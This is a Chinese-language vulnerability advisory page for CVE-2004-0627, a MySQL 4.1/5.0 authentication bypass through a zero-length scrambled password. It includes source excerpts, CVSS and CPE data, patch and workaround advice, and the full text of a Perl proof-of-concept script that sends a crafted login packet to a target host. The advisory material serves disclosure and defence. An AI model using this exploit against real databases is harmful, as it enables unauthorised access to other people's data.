CVE-2004-0627
CVSS10.0
发布时间 :2004-12-06 00:00:00
修订时间 :2016-10-17 22:47:04
NMCOE    

[原文]The check_scramble_323 function in MySQL 4.1.x before 4.1.3, and 5.0, allows remote attackers to bypass authentication via a zero-length scrambled string.


[CNNVD]MySQL空口令HASH绕过认证及缓冲区溢出漏洞(CNNVD-200412-027)

        
        MySQL是一款开放源代码关系型数据库系统。
        MySQL验证机制实现存在问题,远程攻击者可以利用这个漏洞无需用户密码通过验证。
        通过提交特殊构建的验证包,可使攻击者绕过MySQL 4.1中的口令认证。
        check_connection (sql_parse.cc):
         /*
         Old clients send null-terminated string as password; new clients send
         the size (1 byte) + string (not null-terminated). Hence in case of
        empty
         password both send '\0'.
         */
         uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
         *passwd++ : strlen(passwd);
        在'client capabilities'标记中提供0x8000,用户可以指定passwd_len字段的值。要利用漏洞攻击选择0x14(20)作为值,因为它等于SHA HASH长度,可以通过认识过程中的检查。
        在通过几个用于确保用户来自许可主机的检查后,认证过程就会进入如下代码:
         /* check password: it should be empty or valid */
         if (passwd_len == acl_user_tmp->salt_len)
         {
         if (acl_user_tmp->salt_len == 0 ||
         acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
         check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
         check_scramble_323(passwd, thd->scramble,
         (ulong *) acl_user_tmp->salt) == 0)
         {
         acl_user= acl_user_tmp;
         res= 0;
         }
         }
        check_scramble函数会返回认证失败,但查看check_scramble_323函数我们可以看到:
        my_bool
        check_scramble_323(const char *scrambled, const char *message,
         ulong *hash_pass)
        {
         struct rand_struct rand_st;
         ulong hash_message[2];
         char buff[16],*to,extra; /* Big enough for check */
         const char *pos;
         hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
         randominit(&rand_st,hash_pass[0] ^ hash_message[0],
         hash_pass[1] ^ hash_message[1]);
         to=buff;
         for (pos=scrambled ; *pos ; pos++)
         *to++=(char) (floor(my_rnd(&rand_st)*31)+64);
         extra=(char) (floor(my_rnd(&rand_st)*31));
         to=buff;
         while (*scrambled)
         {
         if (*scrambled++ != (char) (*to++ ^ extra))
         return 1; /* Wrong password */
         }
         return 0;
        }
        在这里,使用零长度的scrambled串可绕过验证,在函数最后的比较中如果scrambled串没有字符,使函数返回'0',允许用户以零长度字符串绕过验证。
        另外基于堆栈的缓冲区buff可以被超长的scrambled串溢出,缓冲区被从my_rnd()函数输出的字符溢出,字符范围是0x40..0x5f,在部分平台下可能可以导致任意代码执行。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:mysql:mysql:4.1MySQL MySQL 4.1
cpe:/a:mysql:mysql:5.0MySQL 5.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0627
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0627
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-027
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
(VENDOR_ADVISORY)  VULNWATCH  20040705 MySQL Authentication Bypass
http://marc.info/?l=bugtraq&m=108904917528205&w=2
(UNKNOWN)  BUGTRAQ  20040705 MySQL Authentication Bypass
http://www.kb.cert.org/vuls/id/184030
(VENDOR_ADVISORY)  CERT-VN  VU#184030

- 漏洞信息

MySQL空口令HASH绕过认证及缓冲区溢出漏洞
危急 未知
2004-12-06 00:00:00 2006-03-28 00:00:00
远程  
        
        MySQL是一款开放源代码关系型数据库系统。
        MySQL验证机制实现存在问题,远程攻击者可以利用这个漏洞无需用户密码通过验证。
        通过提交特殊构建的验证包,可使攻击者绕过MySQL 4.1中的口令认证。
        check_connection (sql_parse.cc):
         /*
         Old clients send null-terminated string as password; new clients send
         the size (1 byte) + string (not null-terminated). Hence in case of
        empty
         password both send '\0'.
         */
         uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
         *passwd++ : strlen(passwd);
        在'client capabilities'标记中提供0x8000,用户可以指定passwd_len字段的值。要利用漏洞攻击选择0x14(20)作为值,因为它等于SHA HASH长度,可以通过认识过程中的检查。
        在通过几个用于确保用户来自许可主机的检查后,认证过程就会进入如下代码:
         /* check password: it should be empty or valid */
         if (passwd_len == acl_user_tmp->salt_len)
         {
         if (acl_user_tmp->salt_len == 0 ||
         acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
         check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
         check_scramble_323(passwd, thd->scramble,
         (ulong *) acl_user_tmp->salt) == 0)
         {
         acl_user= acl_user_tmp;
         res= 0;
         }
         }
        check_scramble函数会返回认证失败,但查看check_scramble_323函数我们可以看到:
        my_bool
        check_scramble_323(const char *scrambled, const char *message,
         ulong *hash_pass)
        {
         struct rand_struct rand_st;
         ulong hash_message[2];
         char buff[16],*to,extra; /* Big enough for check */
         const char *pos;
         hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
         randominit(&rand_st,hash_pass[0] ^ hash_message[0],
         hash_pass[1] ^ hash_message[1]);
         to=buff;
         for (pos=scrambled ; *pos ; pos++)
         *to++=(char) (floor(my_rnd(&rand_st)*31)+64);
         extra=(char) (floor(my_rnd(&rand_st)*31));
         to=buff;
         while (*scrambled)
         {
         if (*scrambled++ != (char) (*to++ ^ extra))
         return 1; /* Wrong password */
         }
         return 0;
        }
        在这里,使用零长度的scrambled串可绕过验证,在函数最后的比较中如果scrambled串没有字符,使函数返回'0',允许用户以零长度字符串绕过验证。
        另外基于堆栈的缓冲区buff可以被超长的scrambled串溢出,缓冲区被从my_rnd()函数输出的字符溢出,字符范围是0x40..0x5f,在部分平台下可能可以导致任意代码执行。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 由于此攻击需要知道用户名,因此可以更改MySQL 'ROOT'帐户的默认名,并限制连接主机。
        厂商补丁:
        MySQL AB
        --------
        MySQL AB 4.1.3已经修补此漏洞,或者5.0 Build版本也已经修正此问题:
        
        http://www.mysql.com

- 漏洞信息 (311)

MySQL 4.1/5.0 zero-length password Auth. Bypass Exploit (EDBID:311)
multiple remote
2004-07-10 Verified
3306 Eli Kara
N/A [点击下载]
#!/usr/bin/perl
#
# The script connects to MySQL and attempts to log in using a zero-length password
# Based on the vuln found by NGSSecurity
#
# The following Perl script can be used to test your version of MySQL. It will display 
# the login packet sent to the server and it's reply.
# 
# Exploit copyright (c) 2004 by Eli Kara, Beyond Security
# elik beyondsecurity com
#
use strict;
use IO::Socket::INET;

usage() unless ((@ARGV >= 1) || (@ARGV <= 3));

my $username = shift(@ARGV);
my $host = shift(@ARGV);
if (!$host)
{
  usage();
}
my $port = shift(@ARGV);
if (!$port)
{
 $port = 3306; print "Using default MySQL port (3306)\n";
}

# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

# receive greeting
my $reply;
recv($socket, $reply, 1024, 0);
if (length($reply) < 7)
{
 print "Not allowed to connect to MySQL!\n";
 exit(1);
}
print "Received greeting:\n";
HexDump($reply);
print "\n";

# here we define the login OK reply
# my $login_ok = "\x01\x00\x00\x02\xFE";

# break the username string into chars and rebuild it
my $binuser = pack("C*", unpack("C*", $username));

# send login caps packet with password
my $packet = "\x85\xa6". 
             "\x03\x00\x00".
    "\x00".
    "\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..
             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
             "\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash

substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1)

print "Sending caps packet:\n";
HexDump($packet);
print "\n";
send $socket, $packet, 0;

# receive reply
recv($socket, $reply, 1024, 0);
print "Received reply:\n";
HexDump($reply);

my @list_bytes = unpack("C*", $reply);

#print "The fifth byte is: ", $list_bytes[4], "\n";
if (length(@list_bytes) >= 4)
{
 print "Response insufficent\n";
}

#if ($reply eq $login_ok)
if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
{
 print "Received OK reply, authentication successful!!\n";
}
else
{
 print "Authentication failed!\n";
}

# close
close($socket);


sub usage
{
    # print usage information
    print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n
<username> - The DB username to authenticate as
<host> - The host to connect to
[port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
    exit(1);
}


###
# do a hexdump of a string (assuming it's binary)
###
sub HexDump
{
 my $buffer = $_[0];

 # unpack it into chars
 my @up = unpack("C*", $buffer);
 my $pos=0;

 # calculate matrix sizes
 my $rows = int(@up/16);
 my $leftover = int(@up%16);

 for( my $row=0; $row < $rows ; $row++, $pos+=16)
 {
  printf("%08X\t", $pos);
  my @values = @up[$pos .. $pos+15];
  my @line;
  foreach my $val (@values)
  {
   push(@line, sprintf("%02X", $val));
  }
  print join(' ', @line), "\n";
 }
 # print last line
 printf("%08X\t", $pos);
 my @values = @up[$pos .. $pos+$leftover-1];
 my @line;
 foreach my $val (@values)
 {
  push(@line, sprintf("%02X", $val));
 }
 print join(' ', @line), "\n";
}

# milw0rm.com [2004-07-10]
		

- 漏洞信息

7475
MySQL Zero-length Scrambled String Crafted Packet Authentication Bypass
Remote / Network Access Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public, Exploit Commercial

- 漏洞描述

MySQL contains a flaw that may allow a malicious user to authenticate with the database without a password. The issue is triggered when a 4.1 protocol request occurs with a zero length password. It is possible that the flaw may allow arbitrary SQL command execution resulting in a loss of confidentiality and integrity.

- 时间线

2004-07-01 Unknow
2004-07-10 Unknow

- 解决方案

Upgrade to version 4.1.3 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround(s): rename the 'root' account and apply host based login restrictions. Note that the 4.0 series of the MySQL server is not affected and does not require an upgrade.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站